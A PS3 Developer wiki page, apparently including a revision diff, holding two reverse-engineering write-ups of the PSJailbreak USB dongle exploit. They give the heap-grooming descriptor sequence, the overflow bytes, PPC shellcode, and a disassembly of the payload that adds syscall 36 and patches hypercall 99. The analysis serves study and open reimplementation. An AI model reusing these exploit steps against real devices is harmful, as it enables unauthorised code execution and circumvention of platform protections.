PSJailbreak Exploit Payload Reverse Engineering: Difference between revisions

From PS3 Developer wiki
Jump to navigation Jump to search
mNo edit summary
m (Reverted edits by 5.173.244.156 (talk) to last revision by CelesteBlue)
Tag: Rollback
 
(8 intermediate revisions by 2 users not shown)
Line 1: Line 1:
=== Mathieulh @ http://ps3wiki.lan.st/index.php?title=PSJailbreak_Payload_Reverse_Engineering ===
= Writeup by phire =
 
''' Source: phire at [https://web.archive.org/web/20120829232220/http://ps3wiki.lan.st/index.php/PSJailbreak_Exploit_Reverse_Engineering ps3wiki.lan.st]'''
----
 
== Analysis of the PSJailbreak Exploit ==
 
=== Intro ===
 
The PSJailbreak dongle is a modchip for the PlayStation3 that allows users to backup and play games off the harddrive. Unlike the modchips of the Previous generation, or the modchips so far for the Xbox360 and Wii, this modchip simply plugs into the USB port on the front of the PS3, avoiding the need for complex soldering and voiding of your warranty.
 
As the time of writing this document, the final PSJailbreak has not been released, but a number of samples were given out and at least one fell into the hands of someone who owned a USB sniffer. This analysis of the exploit is based on those USB sniffer logs, issues encountered during the development of the opensource [http://github.com/psgroove/psgroove PSGroove] version of the exploit and a number of educated guesses. It will probably be updated as new information comes in.
 
The initial analysis by [http://www.gamefreax.de/psjailbreak-reverse-engineered.html gamefreax.de] suggested that it was a Stack overflow attack. After further analist it turns out that this exploit is a [http://en.wikipedia.org/wiki/Heap_overflow Heap Overflow] attack. The exploit carefully manipulates the heap by plugging and unplugging fake usb devices with large device descriptors until the device on port 4 which misreports its size to overwrite one of malloc's boundary tags.
 
----
 
=== The state of the PS3 ===
 
The exploit takes place while the PS3 is looking for the Jig (triggered by pressing eject within 200ms of pressing power). It is suspected that the ps3 spends around 5 seconds doing nothing but initializing devices on the USB bus, so there is little extra code running to mess the exploit up.
 
=== Setting up the heap ===
 
The PSJailbreak dongle emulates a 6 port USB hub. By attaching and detaching fake devices to the ports of the hub the dongle has control over the mallocing and freeing of various blocks of memory that hold the device and configuration descriptors.
 
==== Port one ====
 
After the hub has been initialized, a device is plugged into port one with a pid/vid of 0xAAAA/0x5555, It has 4 configurations with each one is 0xf00 bytes long. This is just under the size of 4k page, so malloc will have probably have request a new page for each one, unless it already has enough free space, but at least one will be aligned at the start of a page.
 
The dongle also changes the configuration the 2nd time it is read so that the configuration in the ps3 memory is only 18 bytes long.
 
It just so happens that that this data contains the payload that the exploit will jump to after gaining control of the execution, but that is not important for the exploit.
 
==== Port two ====
 
After the PS3 has finished reading the port one device descriptors, the dongle switches back to the address of the hub and reports that a device has been plugged into port two.
 
This device has a pid/vid of 0xAAAA/0xBBBB, and it has 1 configuration descriptor which is 22 bytes long. Only the first 18 bytes are real usb data and the remaining 4 bytes are:
<pre>  04 21 B4 2F 
</pre>
With a length of 04 and an invalid type byte, anything interpreting it as USB descriptor will probably skip over it and the last 2 bytes. It is suspected that this is just here to make this descriptor take up an exact amount of heap space.
 
==== Port Three ====
 
The port three device has a pid/vid of 0xAAAA/0x5555, the same as port one. Unlike the port one device it has 2 configuration descirptors, each 0xa4d bytes long The data that fills them is junk but it may or may not be relevant that if you treat the data as descriptors they will have valid lengths. These descriptors will probably be allocated to the start of a fresh 4kb page that follows the page with the last port one descriptor and port three descriptors.
 
==== Port Two Disconnect ====
 
After port three is connected, port two will be disconnected, this will cause the port two descriptors to be freed, which frees up some space between the Port One and Port Three descriptors.
 
----
 
=== The exploit ===
 
The heap is now prepared for our exploit.
 
==== Port Four Connection ====
 
A device is connected to port 4, with a pid/vid of 0xAAAA/0x5555 and 3 configurations.
 
===== Configuration A =====
 
This is a normal configuration, 18 bytes long
 
===== Configuration B =====
 
This configuration is the same as Configuration A, except it changes its total length from 18 bytes to to zero bytes after the PS3 has read it the first time and allocated space for it.
 
This is where things get vague, this is key to the exploit and will somehow cause the the extra data at the end of Configuration C to overwrite one of malloc's boundary tag, most likely the one belonging to Port Three.
 
But the exact reason for this buffer overrun is hard to guess without actually seeing the exploited code.
 
===== Configuration C =====
 
This starts the same as configuration A, but has 14 bytes of extra data at the end.
<pre>.. .. 3e 21 00 00 00 00
fa ce b0 03 aa bb cc dd
80 00 00 00 00 46 50 00
80 00 00 00 00 3d ee 70
</pre>
The first 6 are just padding (but the 3e might be important if this ever gets interpreted as a USB descriptor.) Then there are 3 u64 values, each 8 bytes long.
 
The first two values are stored for use by the shell code later just before malloc's boundary tag.
 
The 3rd value overwrites the first value of the boundary tag, which is pointer to the next free section of memory. The replacement pointer will point to a function somewhere. This will cause a malloc to allocate memory in the wrong place, sometime in the future, allowing the exploit to overwrite an existing function.
 
==== Port Five ====
 
The dongle plugs the fake Jig into Port Five right after Port Four has done its job. It uses the same PID/VID that the original Sony Jig uses (0x054C/0x02EB) and probably the same configuration with the same end points.
 
It is suspected that because the Jig is a known device that the PS3 was waiting for, it's device and configuration descriptors will not be malloced into the heap.
 
The PS3 sends a 64 byte challenge to the fake Jig to authenticate it, and the dongle replies with 64 bytes of static data. The PS3 will malloc space for this response, and because the boundary tags have been modified by Port Four, malloc will return a pointer to 24 bytes before a function that has something to do with free and the 64 bytes of data will be written over top of the function.
 
At the point, no code has been patched yet, so the Jig's static response will fail to authenticate the jig.
 
==== Unplug Port Three ====
 
The dongle now sends a message that port 3 has been unplugged. This will cause the PS3 to free the Port Three's configuration data, the very same buffer which had its boundary tag overwritten by Port Four.
 
So our shellcode gets called, with R3 pointing to the boundary tag before Port Three's Configuration data.
 
==== The Shellcode ====
 
PPC Assembly:
<pre> ROM:00000018                ld    &nbsp;%r4, -0x10(%r3)
ROM:0000001C                ld    &nbsp;%r3, -8(%r3)
ROM:00000020
ROM:00000020 loc_20:                                # CODE XREF: sub_18+14�j
ROM:00000020                ld    &nbsp;%r5, 0x18(%r3)
ROM:00000024                addi  &nbsp;%r3,&nbsp;%r3, 0x1000
ROM:00000028                cmpw  &nbsp;%r4,&nbsp;%r5
ROM:0000002C                bne    loc_20
ROM:00000030                addi  &nbsp;%r6,&nbsp;%r3, -0xFE0
ROM:00000034                mtctr  &nbsp;%r6
ROM:00000038                bctr
</pre>
This takes a pointer to the corrupted boundary tags in r3.
 
r4 is loaded with the 0xFACEB003AABBCCDD tag, then r3 is loaded with 0x8000000000465000, both of these values are stored just before the boundary tag.
 
The shell code then scans every 4KB block (0x1000 bytes) starting at 0x8000000000465000, checking for 0xFACEB003AABBCCDD tag in the u64 at 0x18 in each page.
 
When it finds it, the shellcode will jump to offset 0x20 in the payload.
 
----
 
=== After the exploit ===
 
==== Cleanup ====
 
The exploit is now completed: Port Five, Port Four then Port One will be unplugged.
 
Hopefully the Payload will have copied itself out of the heap before Port One is unplugged.
 
==== Port Six ====
 
The device that gets plugged into Port Six has nothing to do with the exploit. It has a vid/pid of 0xAAAA/0xDEC0 (on the PPC, which is big endian, the pid is 0xC0DE).
 
The payload sends it a single byte (0xAA) control transfer so that the dongle will know that the exploit was successful so it can turn the green LED on to signal the user.
 
A function in the original PSJailbreak Payload will make sure that this device stays plugged in. If it is ever unplugged then it will call LV1_Panic and your PS3 will shutdown. PSGroove has removed this 'feature'.
 
----
----
here's my understanding of what the exploit playload does:


#it gets control at exploit_entry, which copies the rest of the payload to the fixed address 0x8000000000700000 and jumps to exploit_main.
=== The Payload ===
#exploit_main copies a resident part of the payload to another location, creates virutal usb device driver called "mod" with 3 functions, hooks some vsh functions via toc entry and does some permanent in-ram patching. when the work is done it zeroes itself out.
 
#the resident part has basically 3 purposes: it manages virtual usb device, it does some on-the-fly patching and it hooks all the game disk file accesses from the vsh.
The actual payload is outside the scope of this document (There might be a 2nd document discussing the original PSJailbreak payload), but we will discuss the environment.
##the virtual usb device is needed to make sure the original ps3jb device in plugged in. once the correct device is plugged (the one with the AAAAC0DE) device driver initializes the variable&nbsp;INITIALIZED to 1 (see&nbsp;kmod_func1 - probably "identify device", and&nbsp;kmod_func2 - "initialize device").&nbsp;if one pluggs the device out, the function kmod_func3_call_panic "term device" is called which causes a kernel panic. all the virtual usb device code can be removed completely from the open psjb implementation since it's just a way of protection for the original ps3jb.
 
##the on-the-fly patching part of the code is probably called on virtual memory page remapping and does additional patching in-place. it identifies if the pages requires patching byt calculating it's "hash" and comparing to the table entries. one of the patches enables developer menu/settings called "category_game_tool2.xml#root" which probably enables support of the pkgs and other dev stuff.
The payload will start in an unknown position, aligned to a 4KB boundary, it should either use position independent code, or copy itself to a known location. The payload has full control over the lv2 (aka gameos) kernel and anything below it. It doesn't have any control over lv1 (aka the hypervisor) without a 2nd exploit (the original Geohot exploit should still work.)
##the hooks from the vsh are intended to redirect all on-bdvd file requests (or probably just "open") from vsh to the hdd saved backup. the launcher saves the base directory of the game started and after that all the file names are prepended with it. that's how the backup feature works. the lv1 still needs bdvd auth to launch the game, so the original disc in bdvd is still required.<br>
 
The Jig authentication code is most likely running in lv1 or an isolated SPU so it is not possible to patch it with this exploit.
 
The lv2 kernel is loaded at the time of the exploit, perfect for patching or you could replace it with something better like a linux kernel. A linux kernel running in this environment would have all the privilege of the regular gameos kernel.
 
----
 
''Written up by phire (aka phiren on EFnet). Thanks to Matt_P, subdub and others for helping develop this theory.''
 
''If you have any information to add, feel free to edit this document or use the discussion page.''
 
= Writeup by Mathieulh =
 
Here is my understanding of what the exploit payload does:
 
#It gets control at exploit_entry, which copies the rest of the payload to the fixed address 0x8000000000700000 and jumps to exploit_main.
 
#exploit_main copies a resident part of the payload to another location, creates virtual usb device driver called "mod" with 3 functions, hooks some vsh functions via toc entry and does some permanent in-ram patching. When the work is done it zeroes itself out.
 
#The resident part has basically 3 purposes: it manages virtual usb device, it does some on-the-fly patching and it hooks all the game disk file accesses from the vsh.
 
##The virtual usb device is needed to make sure the original ps3jb device is plugged in. Once the correct usb device is plugged (the one with the AAAAC0DE), device driver initializes the variable INITIALIZED to 1 (see kmod_func1 - probably "identify device", and kmod_func2 - "initialize device"). If one plugs the device out, the function kmod_func3_call_panic aka "term device" is called which causes a kernel panic. All the virtual usb device code can be removed completely from the open PSJB implementation since it is just a way of protection for the original ps3jb.
 
##The on-the-fly patching part of the code is probably called on virtual memory page remapping and does additional patching in-place. It identifies if the pages require patching but calculating its "hash" and comparing to the table entries. One of the patches enables developer menu/settings called "category_game_tool2.xml#root" which probably enables support of the pkgs and other dev stuff.
 
##The hooks from the vsh are intended to redirect all on-bdvd file requests (or probably just "open") from vsh to the hdd saved backup. The launcher saves the base directory of the game started and after that all the filenames are prepended with it. That is how the backup feature works. The lv1 still needs bdvd auth to launch the game, so the original disc in bdvd is still required.<br>
 
#Adds a Syscall (Syscall 36) which will be called by Backup Loader to activate the virtual bluray drive with the correct backed upped disk.
#Adds a Syscall (Syscall 36) which will be called by Backup Loader to activate the virtual bluray drive with the correct backed upped disk.
#Patches the return value from hypercall 99 so that we can launch unsigned apps.
#Patches the return value from hypercall 99 so that we can launch unsigned apps.


the code below is from my idb of the payload.
The code below is from my idb of the payload:
   
   
<pre># ---------------------------------------------------------------------------
<pre>
# ---------------------------------------------------------------------------
struct_patch_table struc # (sizeof=0x8)
struct_patch_table struc # (sizeof=0x8)
addr_offset: .long&nbsp;? # offset
addr_offset: .long&nbsp;? # offset
Line 718: Line 886:
ROM:00000000007006E4                b      memset          # we exit by zeroing the payload in mem
ROM:00000000007006E4                b      memset          # we exit by zeroing the payload in mem
ROM:00000000007006E4 # End of function exploit_main
ROM:00000000007006E4 # End of function exploit_main
 
</pre>
</pre>




{{Custom Firmware}}<noinclude>[[Category:Main]]</noinclude>
{{Custom Firmware}}<noinclude>[[Category:Main]]</noinclude>

Latest revision as of 00:34, 24 April 2020

Writeup by phire[edit | edit source]

Source: phire at ps3wiki.lan.st


Analysis of the PSJailbreak Exploit[edit | edit source]

Intro[edit | edit source]

The PSJailbreak dongle is a modchip for the PlayStation3 that allows users to backup and play games off the harddrive. Unlike the modchips of the Previous generation, or the modchips so far for the Xbox360 and Wii, this modchip simply plugs into the USB port on the front of the PS3, avoiding the need for complex soldering and voiding of your warranty.

As the time of writing this document, the final PSJailbreak has not been released, but a number of samples were given out and at least one fell into the hands of someone who owned a USB sniffer. This analysis of the exploit is based on those USB sniffer logs, issues encountered during the development of the opensource PSGroove version of the exploit and a number of educated guesses. It will probably be updated as new information comes in.

The initial analysis by gamefreax.de suggested that it was a Stack overflow attack. After further analist it turns out that this exploit is a Heap Overflow attack. The exploit carefully manipulates the heap by plugging and unplugging fake usb devices with large device descriptors until the device on port 4 which misreports its size to overwrite one of malloc's boundary tags.


The state of the PS3[edit | edit source]

The exploit takes place while the PS3 is looking for the Jig (triggered by pressing eject within 200ms of pressing power). It is suspected that the ps3 spends around 5 seconds doing nothing but initializing devices on the USB bus, so there is little extra code running to mess the exploit up.

Setting up the heap[edit | edit source]

The PSJailbreak dongle emulates a 6 port USB hub. By attaching and detaching fake devices to the ports of the hub the dongle has control over the mallocing and freeing of various blocks of memory that hold the device and configuration descriptors.

Port one[edit | edit source]

After the hub has been initialized, a device is plugged into port one with a pid/vid of 0xAAAA/0x5555, It has 4 configurations with each one is 0xf00 bytes long. This is just under the size of 4k page, so malloc will have probably have request a new page for each one, unless it already has enough free space, but at least one will be aligned at the start of a page.

The dongle also changes the configuration the 2nd time it is read so that the configuration in the ps3 memory is only 18 bytes long.

It just so happens that that this data contains the payload that the exploit will jump to after gaining control of the execution, but that is not important for the exploit.

Port two[edit | edit source]

After the PS3 has finished reading the port one device descriptors, the dongle switches back to the address of the hub and reports that a device has been plugged into port two.

This device has a pid/vid of 0xAAAA/0xBBBB, and it has 1 configuration descriptor which is 22 bytes long. Only the first 18 bytes are real usb data and the remaining 4 bytes are:

  04 21 B4 2F  

With a length of 04 and an invalid type byte, anything interpreting it as USB descriptor will probably skip over it and the last 2 bytes. It is suspected that this is just here to make this descriptor take up an exact amount of heap space.

Port Three[edit | edit source]

The port three device has a pid/vid of 0xAAAA/0x5555, the same as port one. Unlike the port one device it has 2 configuration descirptors, each 0xa4d bytes long The data that fills them is junk but it may or may not be relevant that if you treat the data as descriptors they will have valid lengths. These descriptors will probably be allocated to the start of a fresh 4kb page that follows the page with the last port one descriptor and port three descriptors.

Port Two Disconnect[edit | edit source]

After port three is connected, port two will be disconnected, this will cause the port two descriptors to be freed, which frees up some space between the Port One and Port Three descriptors.


The exploit[edit | edit source]

The heap is now prepared for our exploit.

Port Four Connection[edit | edit source]

A device is connected to port 4, with a pid/vid of 0xAAAA/0x5555 and 3 configurations.

Configuration A[edit | edit source]

This is a normal configuration, 18 bytes long

Configuration B[edit | edit source]

This configuration is the same as Configuration A, except it changes its total length from 18 bytes to to zero bytes after the PS3 has read it the first time and allocated space for it.

This is where things get vague, this is key to the exploit and will somehow cause the the extra data at the end of Configuration C to overwrite one of malloc's boundary tag, most likely the one belonging to Port Three.

But the exact reason for this buffer overrun is hard to guess without actually seeing the exploited code.

Configuration C[edit | edit source]

This starts the same as configuration A, but has 14 bytes of extra data at the end.

.. .. 3e 21 00 00 00 00
fa ce b0 03 aa bb cc dd
80 00 00 00 00 46 50 00
80 00 00 00 00 3d ee 70

The first 6 are just padding (but the 3e might be important if this ever gets interpreted as a USB descriptor.) Then there are 3 u64 values, each 8 bytes long.

The first two values are stored for use by the shell code later just before malloc's boundary tag.

The 3rd value overwrites the first value of the boundary tag, which is pointer to the next free section of memory. The replacement pointer will point to a function somewhere. This will cause a malloc to allocate memory in the wrong place, sometime in the future, allowing the exploit to overwrite an existing function.

Port Five[edit | edit source]

The dongle plugs the fake Jig into Port Five right after Port Four has done its job. It uses the same PID/VID that the original Sony Jig uses (0x054C/0x02EB) and probably the same configuration with the same end points.

It is suspected that because the Jig is a known device that the PS3 was waiting for, it's device and configuration descriptors will not be malloced into the heap.

The PS3 sends a 64 byte challenge to the fake Jig to authenticate it, and the dongle replies with 64 bytes of static data. The PS3 will malloc space for this response, and because the boundary tags have been modified by Port Four, malloc will return a pointer to 24 bytes before a function that has something to do with free and the 64 bytes of data will be written over top of the function.

At the point, no code has been patched yet, so the Jig's static response will fail to authenticate the jig.

Unplug Port Three[edit | edit source]

The dongle now sends a message that port 3 has been unplugged. This will cause the PS3 to free the Port Three's configuration data, the very same buffer which had its boundary tag overwritten by Port Four.

So our shellcode gets called, with R3 pointing to the boundary tag before Port Three's Configuration data.

The Shellcode[edit | edit source]

PPC Assembly:

 ROM:00000018                 ld      %r4, -0x10(%r3)
 ROM:0000001C                 ld      %r3, -8(%r3)
 ROM:00000020
 ROM:00000020 loc_20:                                 # CODE XREF: sub_18+14�j
 ROM:00000020                 ld      %r5, 0x18(%r3)
 ROM:00000024                 addi    %r3, %r3, 0x1000
 ROM:00000028                 cmpw    %r4, %r5
 ROM:0000002C                 bne     loc_20
 ROM:00000030                 addi    %r6, %r3, -0xFE0
 ROM:00000034                 mtctr   %r6
 ROM:00000038                 bctr

This takes a pointer to the corrupted boundary tags in r3.

r4 is loaded with the 0xFACEB003AABBCCDD tag, then r3 is loaded with 0x8000000000465000, both of these values are stored just before the boundary tag.

The shell code then scans every 4KB block (0x1000 bytes) starting at 0x8000000000465000, checking for 0xFACEB003AABBCCDD tag in the u64 at 0x18 in each page.

When it finds it, the shellcode will jump to offset 0x20 in the payload.


After the exploit[edit | edit source]

Cleanup[edit | edit source]

The exploit is now completed: Port Five, Port Four then Port One will be unplugged.

Hopefully the Payload will have copied itself out of the heap before Port One is unplugged.

Port Six[edit | edit source]

The device that gets plugged into Port Six has nothing to do with the exploit. It has a vid/pid of 0xAAAA/0xDEC0 (on the PPC, which is big endian, the pid is 0xC0DE).

The payload sends it a single byte (0xAA) control transfer so that the dongle will know that the exploit was successful so it can turn the green LED on to signal the user.

A function in the original PSJailbreak Payload will make sure that this device stays plugged in. If it is ever unplugged then it will call LV1_Panic and your PS3 will shutdown. PSGroove has removed this 'feature'.


The Payload[edit | edit source]

The actual payload is outside the scope of this document (There might be a 2nd document discussing the original PSJailbreak payload), but we will discuss the environment.

The payload will start in an unknown position, aligned to a 4KB boundary, it should either use position independent code, or copy itself to a known location. The payload has full control over the lv2 (aka gameos) kernel and anything below it. It doesn't have any control over lv1 (aka the hypervisor) without a 2nd exploit (the original Geohot exploit should still work.)

The Jig authentication code is most likely running in lv1 or an isolated SPU so it is not possible to patch it with this exploit.

The lv2 kernel is loaded at the time of the exploit, perfect for patching or you could replace it with something better like a linux kernel. A linux kernel running in this environment would have all the privilege of the regular gameos kernel.


Written up by phire (aka phiren on EFnet). Thanks to Matt_P, subdub and others for helping develop this theory.

If you have any information to add, feel free to edit this document or use the discussion page.

Writeup by Mathieulh[edit | edit source]

Here is my understanding of what the exploit payload does:

  1. It gets control at exploit_entry, which copies the rest of the payload to the fixed address 0x8000000000700000 and jumps to exploit_main.
  1. exploit_main copies a resident part of the payload to another location, creates virtual usb device driver called "mod" with 3 functions, hooks some vsh functions via toc entry and does some permanent in-ram patching. When the work is done it zeroes itself out.
  1. The resident part has basically 3 purposes: it manages virtual usb device, it does some on-the-fly patching and it hooks all the game disk file accesses from the vsh.
    1. The virtual usb device is needed to make sure the original ps3jb device is plugged in. Once the correct usb device is plugged (the one with the AAAAC0DE), device driver initializes the variable INITIALIZED to 1 (see kmod_func1 - probably "identify device", and kmod_func2 - "initialize device"). If one plugs the device out, the function kmod_func3_call_panic aka "term device" is called which causes a kernel panic. All the virtual usb device code can be removed completely from the open PSJB implementation since it is just a way of protection for the original ps3jb.
    1. The on-the-fly patching part of the code is probably called on virtual memory page remapping and does additional patching in-place. It identifies if the pages require patching but calculating its "hash" and comparing to the table entries. One of the patches enables developer menu/settings called "category_game_tool2.xml#root" which probably enables support of the pkgs and other dev stuff.
    1. The hooks from the vsh are intended to redirect all on-bdvd file requests (or probably just "open") from vsh to the hdd saved backup. The launcher saves the base directory of the game started and after that all the filenames are prepended with it. That is how the backup feature works. The lv1 still needs bdvd auth to launch the game, so the original disc in bdvd is still required.
  1. Adds a Syscall (Syscall 36) which will be called by Backup Loader to activate the virtual bluray drive with the correct backed upped disk.
  1. Patches the return value from hypercall 99 so that we can launch unsigned apps.

The code below is from my idb of the payload:

# ---------------------------------------------------------------------------
struct_patch_table struc # (sizeof=0x8)
addr_offset:	.long ?			# offset
patch_value:	.long ?			# value
struct_patch_table ends

# ===========================================================================
ROM:0000000000050B3C
ROM:0000000000050B3C # This looks like an existing function being overwritten to return 1 and use its content's space
ROM:0000000000050B3C # to add the payload.. any idea what was in it ?
ROM:0000000000050B3C sub_50B3C:
ROM:0000000000050B3C                 li      %r3, 1
ROM:0000000000050B40                 blr
ROM:0000000000050B40 # End of function sub_50B3C
ROM:0000000000050B40
ROM:0000000000050B44 # ---------------------------------------------------------------------------
ROM:0000000000050B44                 b       some_additional_patching_on_the_fly
ROM:0000000000050B48 # ---------------------------------------------------------------------------
ROM:0000000000050B48                 b       hook_open
ROM:0000000000050B48 # ---------------------------------------------------------------------------
ROM:0000000000050B4C                 .quad 0x8000000000050CA8 # 50CA8 - ptr to Syscall 36
ROM:0000000000050B54                 .quad 0x800000000033E720
ROM:0000000000050B5C                 .quad 0x8000000000051032 # 51032 - structure for add_kmod {char* name, = "mod"
ROM:0000000000050B64                 .quad 0x8000000000050B7C # 50B7C                           struct func *probe,
ROM:0000000000050B6C                 .quad 0x8000000000050B8C # 50B8C                           struct func *initialize, 
ROM:0000000000050B74                 .quad 0x8000000000050B9C # 50B9C                           struct func *disconnect}
ROM:0000000000050B7C                 .quad 0x8000000000050BD4 # 50BD4 - struct func {function_ptr, = kmod_func1
ROM:0000000000050B84                 .quad 0x800000000033E720 #                      user_data?}
ROM:0000000000050B8C                 .quad 0x8000000000050C1C # 50C1C - struct func {function_ptr, = kmod_func2
ROM:0000000000050B94                 .quad 0x800000000033E720 #                      user_data?}
ROM:0000000000050B9C                 .quad 0x8000000000050C78 # 50C78 - struct func {function_ptr, = kmod_func3
ROM:0000000000050BA4                 .quad 0x800000000033E720 #                      user_data?}
ROM:0000000000050BAC                 .quad 0x8000000000050C84 # 50C84 - ptr to set_initialized_flag (unused)
ROM:0000000000050BB4                 .quad 0x800000000033E720 #                      user_data?}
ROM:0000000000050BBC GAME_NAME_PTR:  .quad 0
ROM:0000000000050BC4 GAME_MOUNTPOINT_PTR:.quad 0
ROM:0000000000050BCC INITIALIZED:    .long 0
ROM:0000000000050BD0                 .byte    0
ROM:0000000000050BD1                 .byte    0
ROM:0000000000050BD2                 .byte    0
ROM:0000000000050BD3                 .byte    0
ROM:0000000000050BD4
ROM:0000000000050BD4 # =============== S U B R O U T I N E =======================================
ROM:0000000000050BD4
ROM:0000000000050BD4
ROM:0000000000050BD4 kmod_func1:
ROM:0000000000050BD4
ROM:0000000000050BD4 .set var_80, -0x80
ROM:0000000000050BD4 .set arg_90,  0x90
ROM:0000000000050BD4
ROM:0000000000050BD4                 stdu    %sp, var_80(%sp)
ROM:0000000000050BD8                 mflr    %r0
ROM:0000000000050BDC                 std     %r0, arg_90(%sp)
ROM:0000000000050BE0                 li      %r4, 0
ROM:0000000000050BE4                 li      %r5, 1
ROM:0000000000050BE8                 bl      unk_D2998
ROM:0000000000050BEC                 lwz     %r5, 8(%r3)
ROM:0000000000050BF0                 li      %r3, 0
ROM:0000000000050BF4                 lis     %r4, -0x5556 # 0xAAAAC0DE
ROM:0000000000050BF8                 ori     %r4, %r4, -0x3F22 # 0xAAAAC0DE
ROM:0000000000050BFC                 cmplw   %r4, %r5
ROM:0000000000050C00                 beq     loc_50C08
ROM:0000000000050C04                 li      %r3, -1
ROM:0000000000050C08
ROM:0000000000050C08 loc_50C08:                              # CODE XREF: kmod_func1+2C�j
ROM:0000000000050C08                 extsw   %r3, %r3
ROM:0000000000050C0C                 ld      %r0, arg_90(%sp)
ROM:0000000000050C10                 mtlr    %r0
ROM:0000000000050C14                 addi    %sp, %sp, 0x80
ROM:0000000000050C18                 blr
ROM:0000000000050C18 # End of function kmod_func1
ROM:0000000000050C18
ROM:0000000000050C18 # ---------------------------------------------------------------------------
ROM:0000000000050C18
ROM:0000000000050C18             kmod_func1 (arg1):
ROM:0000000000050C18             {
ROM:0000000000050C18                char *desc = unk_D2998(arg1, 0, 1); /* get_device_descriptor? */
ROM:0000000000050C18                if(*(uint32_t *)(desc+8) == 0xAAAAC0DE) /* sorry for the ugly cast */
ROM:0000000000050C18                   return 0;
ROM:0000000000050C18                else
ROM:0000000000050C18                   return -1;
ROM:0000000000050C18             }
ROM:0000000000050C18
ROM:0000000000050C1C
ROM:0000000000050C1C # =============== S U B R O U T I N E =======================================
ROM:0000000000050C1C
ROM:0000000000050C1C
ROM:0000000000050C1C kmod_func2:
ROM:0000000000050C1C
ROM:0000000000050C1C .set var_80, -0x80
ROM:0000000000050C1C .set arg_70,  0x70
ROM:0000000000050C1C .set arg_90,  0x90
ROM:0000000000050C1C
ROM:0000000000050C1C                 stdu    %sp, var_80(%sp)
ROM:0000000000050C20                 mflr    %r0
ROM:0000000000050C24                 std     %r0, arg_90(%sp)
ROM:0000000000050C28                 li      %r4, 0
ROM:0000000000050C2C                 bl      unk_D29C4
ROM:0000000000050C30                 addi    %r4, %sp, arg_70
ROM:0000000000050C34                 li      %r5, 0
ROM:0000000000050C38                 std     %r5, 0(%r4)
ROM:0000000000050C3C                 li      %r6, 0x21AA
ROM:0000000000050C40                 sth     %r6, 0(%r4)
ROM:0000000000050C44                 li      %r6, 0
ROM:0000000000050C48                 sth     %r6, 6(%r4)
ROM:0000000000050C4C                 li      %r6, 1
ROM:0000000000050C50                 rldicr  %r6, %r6, 63,0
ROM:0000000000050C54                 oris    %r6, %r6, 5
ROM:0000000000050C58                 ori     %r6, %r6, 0xBAC # 50bac, desc for set_initialized_flag
ROM:0000000000050C5C                 li      %r7, 0
ROM:0000000000050C60                 bl      unk_D292C
ROM:0000000000050C64                 li      %r3, 0
ROM:0000000000050C68                 ld      %r0, arg_90(%sp)
ROM:0000000000050C6C                 mtlr    %r0
ROM:0000000000050C70                 addi    %sp, %sp, 0x80
ROM:0000000000050C74                 blr
ROM:0000000000050C74 # End of function kmod_func2
ROM:0000000000050C74
ROM:0000000000050C74 # ---------------------------------------------------------------------------
ROM:0000000000050C74
ROM:0000000000050C74             kmod_func2 (arg1):
ROM:0000000000050C74             {
ROM:0000000000050C74                uint64 buf;
ROM:0000000000050C74
ROM:0000000000050C74                unk_D29C4 (arg1, 0);
ROM:0000000000050C74                buf = 0;
ROM:0000000000050C74                ((short *)&buf)[0] = 0x21AA;
ROM:0000000000050C74                ((short *)&buf)[3] = 0;
ROM:0000000000050C74                unk_D292C (arg1, buf, 0, ptr_to_set_initialized_flag, 0) /* send 0xAA class-type SETUP request to the device */
ROM:0000000000050C74                return 0;
ROM:0000000000050C74             }
ROM:0000000000050C74
ROM:0000000000050C78
ROM:0000000000050C78 # =============== S U B R O U T I N E =======================================
ROM:0000000000050C78
ROM:0000000000050C78
ROM:0000000000050C78 kmod_func3_call_panic:
ROM:0000000000050C78                 li      %r3, 0
ROM:0000000000050C7C                 li      %r11, 0xFF
ROM:0000000000050C80                 hvsc
ROM:0000000000050C80 # End of function kmod_func3_call_panic
ROM:0000000000050C80
ROM:0000000000050C80 # ---------------------------------------------------------------------------
ROM:0000000000050C80
ROM:0000000000050C80             kmod_func3:
ROM:0000000000050C80             {
ROM:0000000000050C80                hvsc(-1, 0); /* LV1 panic */
ROM:0000000000050C80             }
ROM:0000000000050C80
ROM:0000000000050C84
ROM:0000000000050C84 # =============== S U B R O U T I N E =======================================
ROM:0000000000050C84
ROM:0000000000050C84
ROM:0000000000050C84 set_initialized_flag:
ROM:0000000000050C84                 cmpwi   %r3, 0
ROM:0000000000050C88                 bne     locret_50CA4
ROM:0000000000050C8C                 li      %r3, 1
ROM:0000000000050C90                 rldicr  %r3, %r3, 63,0
ROM:0000000000050C94                 oris    %r3, %r3, 5
ROM:0000000000050C98                 ori     %r3, %r3, 0xBBC # 50bbc
ROM:0000000000050C9C                 li      %r4, 1
ROM:0000000000050CA0                 stw     %r4, 0x10(%r3)  # INITIALIZED
ROM:0000000000050CA4
ROM:0000000000050CA4 locret_50CA4:                           # CODE XREF: set_initialized_flag+4�j
ROM:0000000000050CA4                 blr
ROM:0000000000050CA4 # End of function set_initialized_flag
ROM:0000000000050CA4
ROM:0000000000050CA4 # ---------------------------------------------------------------------------
ROM:0000000000050CA4
ROM:0000000000050CA4             set_initialized_flag:
ROM:0000000000050CA4             {
ROM:0000000000050CA4                ptr_to_initialized = 1;
ROM:0000000000050CA4             }
ROM:0000000000050CA4
ROM:0000000000050CA8
ROM:0000000000050CA8 # =============== S U B R O U T I N E =======================================
ROM:0000000000050CA8
ROM:0000000000050CA8
ROM:0000000000050CA8 Syscall_36_activate_virtual_bluray_drive:
ROM:0000000000050CA8
ROM:0000000000050CA8 .set var_D0, -0xD0
ROM:0000000000050CA8 .set arg_70,  0x70
ROM:0000000000050CA8 .set arg_C8,  0xC8
ROM:0000000000050CA8 .set arg_E0,  0xE0
ROM:0000000000050CA8
ROM:0000000000050CA8                 stdu    %sp, var_D0(%sp)
ROM:0000000000050CAC                 mflr    %r0
ROM:0000000000050CB0                 std     %r0, arg_E0(%sp)
ROM:0000000000050CB4                 std     %r31, arg_C8(%sp)
ROM:0000000000050CB8                 addi    %r4, %sp, arg_70
ROM:0000000000050CBC                 bl      unk_1B3B3C                    # strdup %r3 into %r4 (pointing to arg_70 on the stack)
ROM:0000000000050CC0                 li      %r31, 1
ROM:0000000000050CC4                 rldicr  %r31, %r31, 63,0
ROM:0000000000050CC8                 oris    %r31, %r31, 5
ROM:0000000000050CCC                 ori     %r31, %r31, 0xBBC # 50bbc
ROM:0000000000050CD0                 ld      %r3, 0(%r31)
ROM:0000000000050CD4                 cmpdi   %r3, 0
ROM:0000000000050CD8                 beq     loc_50CE4
